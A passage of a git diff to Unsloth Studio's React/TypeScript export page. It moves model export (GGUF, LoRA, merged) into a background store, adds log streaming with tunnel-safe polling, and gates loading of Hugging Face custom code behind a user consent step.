-          const resp = await exportGGUF({
-            save_directory: saveDirectory,
-            quantization_method: quant,
-            push_to_hub: pushToHub,
-            repo_id: repoId,
-            hf_token: token,
-          });
-          lastOutputPath = resp.details?.output_path ?? lastOutputPath;
-        }
-      } else if (exportMethod === "lora") {
-        const resp = await exportLoRA({
-          save_directory: saveDirectory,
-          push_to_hub: pushToHub,
-          repo_id: repoId,
-          hf_token: token,
-          private: privateRepo,
-        });
-        lastOutputPath = resp.details?.output_path ?? null;
-      }
-
-      setExportOutputPath(lastOutputPath);
-      setExportSuccess(true);
-    } catch (err) {
-      setExportError(
-        err instanceof Error ? err.message : "Export failed",
-      );
-    } finally {
-      try {
-        await cleanupExport();
-      } catch {
-        // cleanup is best-effort
-      }
-      setExporting(false);
+    // Consent gate for an HF source's custom (auto_map) code, run before we hand
+    // off to runExport (which performs the load in the background). A local
+    // checkpoint/model the user exported is trusted by default.
+    let trustRemoteCode = modelSource !== "hf";
+    let approvedRemoteCodeFingerprint: string | null = null;
+    if (sourceMode !== "checkpoint") {
+      const remoteCodeOk = await confirmRemoteCodeIfNeeded({
+        modelName: source,
+        hfToken: hfToken || null,
+        // An HF source can need trust_remote_code via its YAML default with no
+        // auto_map to review; signal it so a YAML-only model does not export
+        // with it false.
+        requiresTrustRemoteCode: modelSource === "hf",
+        onApprove: (fingerprint) => {
+          trustRemoteCode = true;
+          approvedRemoteCodeFingerprint = fingerprint;
+        },
+      });
+      if (!remoteCodeOk) return;
     }
+
+    void runExport({
+      sourceMode,
+      checkpointPath,
+      source,
+      modelSource,
+      trustRemoteCode,
+      approvedRemoteCodeFingerprint,
+      loadToken: hfToken || null,
+      exportMethod,
+      isAdapter: adapterExport,
+      quantLevels,
+      saveDirectory,
+      destination,
+      repoId,
+      token,
+      privateRepo,
+      baseModelId: selectedModelData?.base_model ?? undefined,
+      summary: {
+        baseModelName: sourceBaseModelName,
+        checkpointLabel: selectedExportSource,
+        methodLabel,
+        method: exportMethod,
+        quantLevels,
+        destination,
+      },
+    });
   }, [
     checkpoint,
     checkpointsForModel,
     sourceMode,
     selectedSourceModel,
-    selectedModelIdx,
     selectedModelData,
+    selectedExportSource,
+    sourceBaseModelName,
     exportMethod,
     isAdapter,
     quantLevels,
@@ -619,8 +585,53 @@ export function ExportPage() {
     hfToken,
     privateRepo,
     modelSource,
+    runExport,
   ]);
 
+  // Open the inline panel into a fresh config state. Clears any previous
+  // terminal run (a still-running export cannot be cleared, so it stays).
+  const handleOpenPanel = useCallback(() => {
+    if (!isExporting) {
+      resetExportRun();
+    }
+    setPanelOpen(true);
+  }, [isExporting, resetExportRun]);
+
+  // Collapse the panel. Only reachable from config / terminal states (never
+  // mid-run), so resetting the store back to idle is safe.
+  const handleClosePanel = useCallback(() => {
+    resetExportRun();
+    setPanelOpen(false);
+  }, [resetExportRun]);
+
+  const showPanel = panelOpen || panelActive;
+
+  // Bring the panel into view when it opens and offer a scroll-down affordance
+  // (like Chat) when its end is below the fold.
+  const panelEndRef = useRef<HTMLDivElement>(null);
+  const [panelEndVisible, setPanelEndVisible] = useState(true);
+
+  useEffect(() => {
+    if (!showPanel) return;
+    const id = window.setTimeout(() => {
+      panelEndRef.current?.scrollIntoView({ behavior: "smooth", block: "end" });
+    }, 60);
+    return () => window.clearTimeout(id);
+  }, [showPanel]);
+
+  useEffect(() => {
+    const el = panelEndRef.current;
+    if (!showPanel || !el) return;
+    // The scroll-down button is also gated on showPanel, so there is no need to
+    // reset visibility when the panel closes; the observer self-corrects on open.
+    const obs = new IntersectionObserver(
+      ([entry]) => setPanelEndVisible(entry.isIntersecting),
+      { rootMargin: "0px 0px -40px 0px" },
+    );
+    obs.observe(el);
+    return () => obs.disconnect();
+  }, [showPanel]);
+
   // ---- Render ----
   return (
     <div className="min-h-[calc(100dvh-var(--studio-titlebar-height,0px))] bg-background">
@@ -701,16 +712,8 @@ export function ExportPage() {
                     </button>
                   </div>
 
-                  <AnimatePresence mode="wait" initial={false}>
                   {sourceMode === "checkpoint" ? (
-                    <motion.div
-                      key="checkpoint"
-                      initial={{ height: 0, opacity: 0 }}
-                      animate={{ height: "auto", opacity: 1 }}
-                      exit={{ height: 0, opacity: 0 }}
-                      transition={{ duration: 0.25, ease: [0.25, 0.1, 0.25, 1] }}
-                      className="flex flex-col gap-2 overflow-visible"
-                    >
+                    <div className="flex flex-col gap-2 overflow-visible">
                       <div data-tour="export-training-run" className="flex flex-col gap-2">
                         <Select
                           value={selectedModelIdx ?? ""}
@@ -822,16 +825,9 @@ export function ExportPage() {
                           </SelectContent>
                         </Select>
                       </div>
-                    </motion.div>
+                    </div>
                   ) : (
-                    <motion.div
-                      key="model"
-                      initial={{ height: 0, opacity: 0 }}
-                      animate={{ height: "auto", opacity: 1 }}
-                      exit={{ height: 0, opacity: 0 }}
-                      transition={{ duration: 0.25, ease: [0.25, 0.1, 0.25, 1] }}
-                      className="flex flex-col gap-2 overflow-visible"
-                    >
+                    <div className="flex flex-col gap-2 overflow-visible">
                       <div className="flex gap-2">
                         <Button
                           variant={modelSource === "hf" ? "dark" : "outline"}
@@ -1028,9 +1024,8 @@ export function ExportPage() {
                           Direct model exports currently support GGUF only.
                         </p>
                       </div>
-                    </motion.div>
+                    </div>
                   )}
-                  </AnimatePresence>
 
                   {sourceMode === "checkpoint" && (
                     <div className="rounded-xl bg-foreground/[0.04] p-3 flex flex-col gap-2">
@@ -1106,75 +1101,84 @@ export function ExportPage() {
                 }
               />
 
-              <AnimatePresence>
-                {exportMethod === "gguf" && (
-                  <motion.div {...collapseAnim} className="overflow-visible">
-                    <QuantPicker
-                      value={quantLevels}
-                      onChange={setQuantLevels}
-                      sizes={quantSizeLabels}
-                    />
-                  </motion.div>
-                )}
-              </AnimatePresence>
+              {exportMethod === "gguf" && (
+                <QuantPicker
+                  value={quantLevels}
+                  onChange={setQuantLevels}
+                  sizes={quantSizeLabels}
+                />
+              )}
+              {estimatedSize && (
+                <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
+                  <HugeiconsIcon
+                    icon={InformationCircleIcon}
+                    className="size-3.5"
+                  />
+                  <span>Est. size: {estimatedSize}</span>
+                </div>
+              )}
 
               <Separator />
-              <div className="flex items-center justify-between">
-                {estimatedSize ? (
-                  <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
-                    <HugeiconsIcon
-                      icon={InformationCircleIcon}
-                      className="size-3.5"
+              {showPanel && (
+                    <ExportRunPanel
+                      exportMethod={exportMethod}
+                      quantLevels={quantLevels}
+                      checkpoint={selectedExportSource}
+                      baseModelName={sourceBaseModelName}
+                      isAdapter={sourceMode === "checkpoint" && isAdapter}
+                      destination={destination}
+                      onDestinationChange={setDestination}
+                      saveDirectory={saveDirectory}
+                      defaultSaveDirectory={defaultSaveDirectory}
+                      saveDirectoryOverridden={!!customSaveDirectory}
+                      onSaveDirectoryChange={setCustomSaveDirectory}
+                      hfUsername={hfUsername}
+                      onHfUsernameChange={setHfUsername}
+                      modelName={modelName}
+                      onModelNameChange={setModelName}
+                      hfToken={hfToken}
+                      onHfTokenChange={setHfToken}
+                      privateRepo={privateRepo}
+                      onPrivateRepoChange={setPrivateRepo}
+                      onStart={handleStart}
+                      onClose={handleClosePanel}
                     />
-                    <span>Est. size: {estimatedSize}</span>
-                  </div>
-                ) : (
-                  <span />
                 )}
-                <Button
-                  data-tour="export-cta"
-                  disabled={!canExport}
-                  onClick={() => { setExportSuccess(false); setExportError(null); setDialogOpen(true); }}
+              {showPanel && (
+                <div ref={panelEndRef} aria-hidden="true" className="h-px w-full" />
+              )}
+              {showPanel && !panelEndVisible && (
+                <button
+                  type="button"
+                  onClick={() =>
+                    panelEndRef.current?.scrollIntoView({
+                      behavior: "smooth",
+                      block: "end",
+                    })
+                  }
+                  aria-label="Scroll to export output"
+                  className="fixed bottom-6 right-6 z-30 flex size-10 items-center justify-center rounded-full border border-border/60 bg-background/90 text-foreground shadow-md backdrop-blur transition-colors hover:bg-muted"
                 >
-                  Export Model
-                </Button>
-              </div>
+                  <HugeiconsIcon icon={ArrowDown01Icon} className="size-5" />
+                </button>
+              )}
+              {!showPanel && (
+                <div className="flex items-center justify-end">
+                  <Button
+                    data-tour="export-cta"
+                    disabled={!canExport}
+                    onClick={handleOpenPanel}
+                  >
+                    Export Model
+                  </Button>
+                </div>
+              )}
             </>
           )}
         </SectionCard>
 
         <RecentTrainingsSection />
       </main>
-
-      <ExportDialog
-        open={dialogOpen}
-        onOpenChange={setDialogOpen}
-        exportMethod={exportMethod}
-        quantLevels={quantLevels}
-        estimatedSize={estimatedSize}
-        checkpoint={selectedExportSource}
-        baseModelName={sourceBaseModelName}
-        isAdapter={sourceMode === "checkpoint" && isAdapter}
-        destination={destination}
-        onDestinationChange={setDestination}
-        saveDirectory={saveDirectory}
-        defaultSaveDirectory={defaultSaveDirectory}
-        saveDirectoryOverridden={!!customSaveDirectory}
-        onSaveDirectoryChange={setCustomSaveDirectory}
-        hfUsername={hfUsername}
-        onHfUsernameChange={setHfUsername}
-        modelName={modelName}
-        onModelNameChange={setModelName}
-        hfToken={hfToken}
-        onHfTokenChange={setHfToken}
-        privateRepo={privateRepo}
-        onPrivateRepoChange={setPrivateRepo}
-        onExport={handleExport}
-        exporting={exporting}
-        exportError={exportError}
-        exportSuccess={exportSuccess}
-        exportOutputPath={exportOutputPath}
-      />
     </div>
   );
 }
diff --git a/studio/frontend/src/features/export/hooks/use-export-runtime-lifecycle.ts b/studio/frontend/src/features/export/hooks/use-export-runtime-lifecycle.ts
new file mode 100644
index 0000000000..cdf771f2b7
--- /dev/null
+++ b/studio/frontend/src/features/export/hooks/use-export-runtime-lifecycle.ts
@@ -0,0 +1,204 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { hasAuthToken } from "@/features/auth";
+import { useEffect } from "react";
+import {
+  fetchExportLogs,
+  getExportStatus,
+  streamExportLogs,
+} from "../api/export-api";
+import { useExportRuntimeStore } from "../stores/export-runtime-store";
+
+const STATUS_POLL_INTERVAL_MS = 5000;
+const STREAM_RECONNECT_DELAY_MS = 600;
+// JSON log poll cadence. The SSE stream is the low-latency path on localhost,
+// but Cloudflare quick tunnels (`--secure`) buffer `text/event-stream`, so this
+// poll is the transport that actually delivers logs over the tunnel. Short
+// JSON responses are never buffered, so this works through any proxy.
+const LOG_POLL_INTERVAL_MS = 750;
+
+/**
+ * Global export runtime driver, mounted once at the app root so it runs on every
+ * route (the inline export panel lives on /export, but the run must stay live and
+ * visible from any tab). It:
+ *   - hydrates `is_export_active` from the backend on mount / reload,
+ *   - streams the worker log SSE into the store while a run is active, and
+ *   - keeps that stream alive across the load -> export phase boundary so a
+ *     transient `complete` between per-phase POSTs does not strand the panel on
+ *     "Waiting for worker output..." (the premature-complete bug).
+ *
+ * The actual export sequence is driven by the store's `runExport` action (a
+ * detached promise), so it survives navigation independently of this hook.
+ */
+export function useExportRuntimeLifecycle(): void {
+  useEffect(() => {
+    let disposed = false;
+    let openingStream = false;
+    let streamController: AbortController | null = null;
+    let reconnectTimer: ReturnType<typeof setTimeout> | null = null;
+    let logPolling = false;
+    let logPollTimer: ReturnType<typeof setTimeout> | null = null;
+
+    const store = useExportRuntimeStore;
+
+    const clearReconnect = () => {
+      if (reconnectTimer) {
+        clearTimeout(reconnectTimer);
+        reconnectTimer = null;
+      }
+    };
+
+    const stopStream = () => {
+      clearReconnect();
+      if (streamController) {
+        streamController.abort();
+        streamController = null;
+      }
+      stopLogPolling();
+      store.getState().setConnected(false);
+    };
+
+    // ── JSON log polling (tunnel-safe fallback) ──────────────────────────
+    // Runs for the whole active run, in parallel with the SSE stream. On
+    // localhost the SSE delivers first and these polls are de-duped away by
+    // seq; over a Cloudflare tunnel the SSE is buffered and these polls are
+    // what actually fill the log panel. A successful poll marks the stream
+    // "connected" so the panel shows "streaming" rather than "connecting...".
+    const pollLogsOnce = async () => {
+      if (disposed || !store.getState().isExporting) return;
+      try {
+        const res = await fetchExportLogs(store.getState().lastSeq);
+        if (disposed) return;
+        store.getState().setConnected(true);
+        if (res.entries.length > 0) {
+          store.getState().appendLogs(res.entries);
+        }
+      } catch {
+        // Transient poll failure: the next poll (or the SSE) will catch up.
+      }
+    };
+
+    const logPollLoop = async () => {
+      if (disposed || !logPolling) return;
+      await pollLogsOnce();
+      if (disposed || !logPolling) return;
+      logPollTimer = setTimeout(() => {
+        void logPollLoop();
+      }, LOG_POLL_INTERVAL_MS);
+    };
+
+    const startLogPolling = () => {
+      if (logPolling || disposed) return;
+      logPolling = true;
+      void logPollLoop();
+    };
+
+    function stopLogPolling() {
+      logPolling = false;
+      if (logPollTimer) {
+        clearTimeout(logPollTimer);
+        logPollTimer = null;
+      }
+    }
+
+    const ensureStream = async () => {
+      if (
+        disposed ||
+        openingStream ||
+        streamController ||
+        !store.getState().isExporting
+      ) {
+        return;
+      }
+
+      clearReconnect();
+      openingStream = true;
+      const controller = new AbortController();
+      streamController = controller;
+
+      try {
+        await streamExportLogs({
+          signal: controller.signal,
+          since: store.getState().lastSeq,
+          onOpen: () => store.getState().setConnected(true),
+          onEvent: (event) => {
+            if (event.event === "log" && event.entry) {
+              store.getState().appendLog(event.entry, event.id ?? undefined);
+            }
+            // `complete` / `error` end this connection (streamExportLogs returns);
+            // the finally block reconnects while the run is still in flight.
+          },
+        });
+      } catch {
+        // fetch-level failure: fall through to the reconnect below.
+      } finally {
+        openingStream = false;
+        if (streamController === controller) {
+          streamController = null;
+        }
+        // Do NOT clear `connected` here: over a Cloudflare tunnel the SSE drops
+        // and reconnects repeatedly (buffered / premature complete), which used
+        // to flap the indicator back to "connecting...". The log poll owns the
+        // connected flag for the duration of the run; stopStream clears it when
+        // the run actually ends.
+
+        if (
+          !disposed &&
+          !controller.signal.aborted &&
+          store.getState().isExporting
+        ) {
+          reconnectTimer = setTimeout(() => {
+            void ensureStream();
+          }, STREAM_RECONNECT_DELAY_MS);
+        }
+      }
+    };
+
+    const pollStatus = async () => {
+      if (!hasAuthToken()) return;
+      try {
+        const status = await getExportStatus();
+        if (disposed) return;
+        store.getState().applyBackendStatus(status);
+        if (store.getState().isExporting) {
+          void ensureStream();
+          startLogPolling();
+        }
+      } catch {
+        // ignore transient status failures
+      }
+    };
+
+    // React to isExporting flipping (run start / terminal) without needing the
+    // subscribeWithSelector middleware: the base subscribe fires on every change.
+    let prevExporting = store.getState().isExporting;
+    const unsubscribe = store.subscribe((state) => {
+      if (state.isExporting === prevExporting) return;
+      prevExporting = state.isExporting;
+      if (state.isExporting) {
+        void ensureStream();
+        startLogPolling();
+      } else {
+        stopStream();
+      }
+    });
+
+    void pollStatus();
+    if (store.getState().isExporting) {
+      void ensureStream();
+      startLogPolling();
+    }
+
+    const statusTimer = setInterval(() => {
+      void pollStatus();
+    }, STATUS_POLL_INTERVAL_MS);
+
+    return () => {
+      disposed = true;
+      clearInterval(statusTimer);
+      unsubscribe();
+      stopStream();
+    };
+  }, []);
+}
diff --git a/studio/frontend/src/features/export/index.ts b/studio/frontend/src/features/export/index.ts
index ba529a842d..e3323dffa5 100644
--- a/studio/frontend/src/features/export/index.ts
+++ b/studio/frontend/src/features/export/index.ts
@@ -1,4 +1,20 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-export { ExportPage } from "./export-page";
+// The heavy ExportPage is not re-exported here on purpose: the /export route
+// lazy-imports it directly (app/routes/export.tsx) so it stays code-split. This
+// barrel exposes only the lightweight export runtime so the always-mounted root
+// layout and the sidebar can use it without pulling ExportPage into their chunk.
+export {
+  isExportPanelActive,
+  selectExportProgressPercent,
+  useExportRuntimeStore,
+} from "./stores/export-runtime-store";
+export type {
+  ExportDestination,
+  ExportPhase,
+  ExportRunSummary,
+  ExportRuntimeStore,
+  RunExportParams,
+} from "./stores/export-runtime-store";
+export { useExportRuntimeLifecycle } from "./hooks/use-export-runtime-lifecycle";
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts
new file mode 100644
index 0000000000..307e1ccaab
--- /dev/null
+++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts
@@ -0,0 +1,566 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import {
+  cancelExport,
+  cleanupExport,
+  exportBase,
+  exportGGUF,
+  exportLoRA,
+  exportMerged,
+  getExportStatus,
+  isRecoverableTransportError,
+  loadCheckpoint,
+  type ExportLogEntry,
+  type ExportLogPollEntry,
+  type ExportOperationResponse,
+  type ExportStatus,
+} from "../api/export-api";
+import type { ExportMethod } from "../constants";
+
+/** Thrown by status recovery when the backend reports the op was cancelled. */
+class ExportCanceledError extends Error {
+  constructor() {
+    super("Export canceled");
+    this.name = "ExportCanceledError";
+  }
+}
+
+// Status-recovery tuning (used when a blocking export POST is cut off by a
+// Cloudflare tunnel 524 while the backend op keeps running).
+const RECOVERY_POLL_INTERVAL_MS = 1500;
+const RECOVERY_GRACE_MS = 15000; // wait this long for the op to appear on status
+const RECOVERY_MAX_MS = 2 * 60 * 60 * 1000; // hard cap (exports can be long)
+const RECOVERY_MAX_STATUS_FAILS = 5; // give up if status itself is unreachable
+
+const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
+
+/**
+ * Settle an export phase whose blocking POST was cut off by a tunnel timeout, by
+ * polling /api/export/status until the still-running backend op finishes, then
+ * reading its recorded outcome. `baseline` is `last_op_seq` captured before the
+ * POST; a record is "ours" once the op went inactive AND either we observed it
+ * active or its seq advanced past the baseline (single serial driver ⇒ exact).
+ */
+async function recoverViaStatus(
+  baseline: number | null,
+  isCurrent: () => boolean,
+): Promise<{ outputPath: string | null }> {
+  const start = Date.now();
+  let statusFails = 0;
+  let sawActive = false;
+
+  while (Date.now() - start < RECOVERY_MAX_MS) {
+    if (!isCurrent()) throw new Error("Export run superseded");
+    await sleep(RECOVERY_POLL_INTERVAL_MS);
+
+    let st: ExportStatus;
+    try {
+      st = await getExportStatus();
+      statusFails = 0;
+    } catch {
+      // Status itself is transiently unreachable; tolerate a few, then (past the
+      // grace window) give up so a truly-down backend surfaces a real error.
+      statusFails += 1;
+      if (
+        Date.now() - start > RECOVERY_GRACE_MS &&
+        statusFails >= RECOVERY_MAX_STATUS_FAILS
+      ) {
+        throw new Error("Lost connection to the export server.");
+      }
+      continue;
+    }
+
+    if (st.is_export_active) {
+      sawActive = true;
+      continue;
+    }
+
+    const seq = st.last_op_seq ?? 0;
+    const isOurs = sawActive || (baseline !== null && seq > baseline);
+    if (isOurs) {
+      if (st.last_op_status === "success") {
+        return { outputPath: st.last_op_output_path ?? null };
+      }
+      if (st.last_op_status === "cancelled") throw new ExportCanceledError();
+      throw new Error(st.last_op_error || "Export failed");
+    }
+
+    // Inactive but our op was never observed: the POST likely died before the
+    // backend started it. Allow a grace window for the op to appear, then fail.
+    if (Date.now() - start > RECOVERY_GRACE_MS) {
+      throw new Error(
+        "The export request failed before the server started the operation.",
+      );
+    }
+  }
+  throw new Error("Timed out waiting for the export to finish.");
+}
+
+// Keep the same scrollback depth as the backend ring buffer so the inline
+// panel shows the full server-side history.
+const MAX_LOG_LINES = 4000;
+
+export type ExportPhase =
+  | "idle"
+  | "loading"
+  | "exporting"
+  | "success"
+  | "error"
+  | "canceled";
+
+export type ExportDestination = "local" | "hub";
+
+/** Snapshot of what is being exported, captured when a run starts. */
+export interface ExportRunSummary {
+  baseModelName: string;
+  checkpointLabel: string | null;
+  methodLabel: string;
+  method: ExportMethod;
+  quantLevels: string[];
+  destination: ExportDestination;
+}
+
+/** Everything `runExport` needs to drive the load -> export -> cleanup sequence. */
+export interface RunExportParams {
+  sourceMode: "checkpoint" | "model";
+  /** Resolved on-disk checkpoint path (checkpoint mode). */
+  checkpointPath: string | null;
+  /** Raw source id passed to load-checkpoint (model mode: HF id or local path). */
+  source: string;
+  modelSource: "hf" | "local";
+  trustRemoteCode: boolean;
+  /** Consent fingerprint from the load-time remote-code review dialog (HF custom code). */
+  approvedRemoteCodeFingerprint?: string | null;
+  /** HF token for loading a gated/private source model (separate from the Hub upload token). */
+  loadToken?: string | null;
+  exportMethod: ExportMethod;
+  isAdapter: boolean;
+  quantLevels: string[];
+  saveDirectory: string;
+  destination: ExportDestination;
+  repoId?: string;
+  token?: string;
+  privateRepo: boolean;
+  baseModelId?: string | null;
+  summary: ExportRunSummary;
+}
+
+interface ExportRuntimeState {
+  phase: ExportPhase;
+  /** True from the moment a run starts until it reaches a terminal phase. */
+  isExporting: boolean;
+  /** True while this store's own `runExport` drives the sequence (vs a run
+   *  recovered from the backend after a reload). Gates status-poll takeovers. */
+  ownsRun: boolean;
+  method: ExportMethod | null;
+  summary: ExportRunSummary | null;
+  quantTotal: number;
+  /** Number of GGUF quants finished so far (0-based current = this value). */
+  quantIndex: number;
+  /** Latest high-level status line surfaced by the worker. */
+  stage: string | null;
+  logLines: ExportLogEntry[];
+  lastSeq: number | null;
+  connected: boolean;
+  /** True while a phase POST's response was lost (tunnel timeout) and we are
+   *  settling the run by polling /api/export/status instead. Logs keep streaming. */
+  reconnecting: boolean;
+  startedAt: number | null;
+  result: { outputPath: string | null; destination: ExportDestination } | null;
+  error: string | null;
+  cancelRequested: boolean;
+  hasHydrated: boolean;
+  backendActive: boolean;
+  /** Bumped on every run so stale async callbacks can detect they were superseded. */
+  runId: number;
+}
+
+interface ExportRuntimeActions {
+  runExport: (params: RunExportParams) => Promise<void>;
+  requestCancel: () => Promise<void>;
+  /** Append one streamed line (SSE). De-duped by seq against the poll path. */
+  appendLog: (entry: ExportLogEntry, seq?: number) => void;
+  /** Merge a batch of polled lines (JSON fallback). De-duped by seq. */
+  appendLogs: (entries: ExportLogPollEntry[]) => void;
+  setConnected: (value: boolean) => void;
+  applyBackendStatus: (status: ExportStatus) => void;
+  reset: () => void;
+}
+
+export type ExportRuntimeStore = ExportRuntimeState & ExportRuntimeActions;
+
+const initialState: ExportRuntimeState = {
+  phase: "idle",
+  isExporting: false,
+  ownsRun: false,
+  method: null,
+  summary: null,
+  quantTotal: 1,
+  quantIndex: 0,
+  stage: null,
+  logLines: [],
+  lastSeq: null,
+  connected: false,
+  reconnecting: false,
+  startedAt: null,
+  result: null,
+  error: null,
+  cancelRequested: false,
+  hasHydrated: false,
+  backendActive: false,
+  runId: 0,
+};
+
+export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) => ({
+  ...initialState,
+
+  setConnected: (value) => set({ connected: value }),
+
+  appendLog: (entry, seq) =>
+    set((state) => {
+      // De-dupe by seq: the SSE stream and the JSON poll fallback both feed
+      // logs, so ignore anything at or below the highest seq already seen.
+      if (
+        typeof seq === "number" &&
+        state.lastSeq !== null &&
+        seq <= state.lastSeq
+      ) {
+        return state;
+      }
+      const next =
+        state.logLines.length >= MAX_LOG_LINES
+          ? state.logLines.slice(state.logLines.length - MAX_LOG_LINES + 1)
+          : state.logLines.slice();
+      next.push(entry);
+      return {
+        logLines: next,
+        lastSeq: typeof seq === "number" ? seq : state.lastSeq,
+        // `status` lines are the worker's high-level progress markers; surface
+        // the most recent one as the stage label.
+        stage: entry.stream === "status" ? entry.line : state.stage,
+      };
+    }),
+
+  appendLogs: (entries) =>
+    set((state) => {
+      // Keep only lines newer than the highest seq we've shown (covers overlap
+      // with the SSE stream and with the previous poll batch).
+      const fresh =
+        state.lastSeq === null
+          ? entries
+          : entries.filter((e) => e.seq > (state.lastSeq as number));
+      if (fresh.length === 0) return state;
+
+      const merged = state.logLines.concat(
+        fresh.map((e) => ({ stream: e.stream, line: e.line, ts: e.ts })),
+      );
+      const next =
+        merged.length > MAX_LOG_LINES
+          ? merged.slice(merged.length - MAX_LOG_LINES)
+          : merged;
+
+      // Latest `status` line in the batch becomes the stage label.
+      let stage = state.stage;
+      for (const e of fresh) {
+        if (e.stream === "status") stage = e.line;
+      }
+      return {
+        logLines: next,
+        lastSeq: fresh[fresh.length - 1].seq,
+        stage,
+      };
+    }),
+
+  applyBackendStatus: (status) =>
+    set((state) => {
+      const base = { hasHydrated: true, backendActive: status.is_export_active };
+      // Recover a run started before this store existed (full page reload, or
+      // an export kicked off in another browser tab): show it live.
+      if (status.is_export_active && !state.isExporting && !state.ownsRun) {
+        return {
+          ...base,
+          isExporting: true,
+          phase: "exporting" as const,
+          startedAt: state.startedAt ?? Date.now(),
+        };
+      }
+      // A recovered (not store-owned) run finished on the backend. Settle from
+      // the last-op record when present (accurate success/error/output path),
+      // else fall back to the optimistic guess.
+      if (!status.is_export_active && state.isExporting && !state.ownsRun) {
+        // A standalone load_checkpoint (or no recorded op) is not an export and
+        // must never settle as a finished export. A completed export ends on its
+        // export_* op or the trailing cleanup, both of which count.
+        const wasExport =
+          !!status.last_op_kind && status.last_op_kind !== "load_checkpoint";
+        if (status.last_op_status === "error") {
+          return {
+            ...base,
+            isExporting: false,
+            phase: "error" as const,
+            error: status.last_op_error ?? "Export failed",
+          };
+        }
+        if (status.last_op_status === "cancelled") {
+          return { ...base, isExporting: false, phase: "canceled" as const };
+        }
+        if (status.last_op_status === "success" && wasExport) {
+          return {
+            ...base,
+            isExporting: false,
+            phase: "success" as const,
+            result: {
+              outputPath: status.last_op_output_path ?? null,
+              destination: state.result?.destination ?? "local",
+            },
+          };
+        }
+        // Load-only op, or no clear success record: nothing was exported.
+        return { ...base, isExporting: false, phase: "idle" as const };
+      }
+      return base;
+    }),
+
+  reset: () =>
+    set((state) => ({
+      ...initialState,
+      hasHydrated: state.hasHydrated,
+      backendActive: state.backendActive,
+      runId: state.runId,
+    })),
+
+  requestCancel: async () => {
+    if (!get().isExporting) return;
+    set({ cancelRequested: true });
+    try {
+      await cancelExport();
+    } catch {
+      // Best-effort: the in-flight export POST will still reject when the
+      // worker dies, which runExport turns into the canceled phase.
+    }
+  },
+
+  runExport: async (params) => {
+    const runId = get().runId + 1;
+    const quantTotal =
+      params.exportMethod === "gguf"
+        ? Math.max(1, params.quantLevels.length)
+        : 1;
+
+    set({
+      runId,
+      isExporting: true,
+      ownsRun: true,
+      phase: "loading",
+      method: params.exportMethod,
+      summary: params.summary,
+      quantTotal,
+      quantIndex: 0,
+      stage: null,
+      logLines: [],
+      lastSeq: null,
+      connected: false,
+      reconnecting: false,
+      startedAt: Date.now(),
+      result: null,
+      error: null,
+      cancelRequested: false,
+    });
+
+    const isCurrent = () => get().runId === runId;
+    const pushToHub = params.destination === "hub";
+
+    // Run a phase POST so it survives a Cloudflare tunnel 524: capture the
+    // last-op baseline, fire the POST, and on a recoverable transport failure
+    // settle the still-running backend op via short status polls instead of
+    // failing. Returns the resolved output path (null for load/hub-only).
+    const runRecoverableOp = async (
+      post: () => Promise<ExportOperationResponse>,
+    ): Promise<{ outputPath: string | null }> => {
+      let baseline: number | null = null;
+      try {
+        baseline = (await getExportStatus()).last_op_seq ?? 0;
+      } catch {
+        baseline = null; // pre-read failed; recovery falls back to "saw active"
+      }
+      try {
+        const resp = await post();
+        return { outputPath: resp.details?.output_path ?? null };
+      } catch (err) {
+        if (!isRecoverableTransportError(err)) throw err;
+        set({ reconnecting: true });
+        try {
+          return await recoverViaStatus(baseline, isCurrent);
+        } finally {
+          if (isCurrent()) set({ reconnecting: false });
+        }
+      }
+    };
+
+    try {
+      // 1. Load the model source into a fresh export subprocess.
+      if (params.sourceMode === "checkpoint") {
+        if (!params.checkpointPath) {
+          throw new Error("No checkpoint selected");
+        }
+        const checkpointPath = params.checkpointPath;
+        await runRecoverableOp(() =>
+          loadCheckpoint({
+            checkpoint_path: checkpointPath,
+            hf_token: params.loadToken ?? null,
+          }),
+        );
+      } else {
+        await runRecoverableOp(() =>
+          loadCheckpoint({
+            checkpoint_path: params.source,
+            load_in_4bit: false,
+            trust_remote_code:
+              params.modelSource === "hf" ? params.trustRemoteCode : true,
+            approved_remote_code_fingerprint:
+              params.approvedRemoteCodeFingerprint ?? null,
+            hf_token: params.loadToken ?? null,
+          }),
+        );
+      }
+      if (!isCurrent()) return;
+
+      // 2. Run the export. Capture the resolved output_path for the success
+      // banner; multi-quant GGUF shares one directory, so keep the last.
+      set({ phase: "exporting" });
+      let lastOutputPath: string | null = null;
+
+      if (params.exportMethod === "merged") {
+        if (params.isAdapter) {
+          const { outputPath } = await runRecoverableOp(() =>
+            exportMerged({
+              save_directory: params.saveDirectory,
+              push_to_hub: pushToHub,
+              repo_id: params.repoId,
+              hf_token: params.token,
+              private: params.privateRepo,
+            }),
+          );
+          lastOutputPath = outputPath;
+        } else {
+          const { outputPath } = await runRecoverableOp(() =>
+            exportBase({
+              save_directory: params.saveDirectory,
+              push_to_hub: pushToHub,
+              repo_id: params.repoId,
+              hf_token: params.token,
+              private: params.privateRepo,
+              base_model_id: params.baseModelId,
+            }),
+          );
+          lastOutputPath = outputPath;
+        }
+      } else if (params.exportMethod === "gguf") {
+        for (let i = 0; i < params.quantLevels.length; i += 1) {
+          if (!isCurrent()) return;
+          set({ quantIndex: i });
+          const quant = params.quantLevels[i];
+          const { outputPath } = await runRecoverableOp(() =>
+            exportGGUF({
+              save_directory: params.saveDirectory,
+              quantization_method: quant,
+              push_to_hub: pushToHub,
+              repo_id: params.repoId,
+              hf_token: params.token,
+            }),
+          );
+          lastOutputPath = outputPath ?? lastOutputPath;
+          if (!isCurrent()) return;
+          set({ quantIndex: i + 1 });
+        }
+      } else if (params.exportMethod === "lora") {
+        const { outputPath } = await runRecoverableOp(() =>
+          exportLoRA({
+            save_directory: params.saveDirectory,
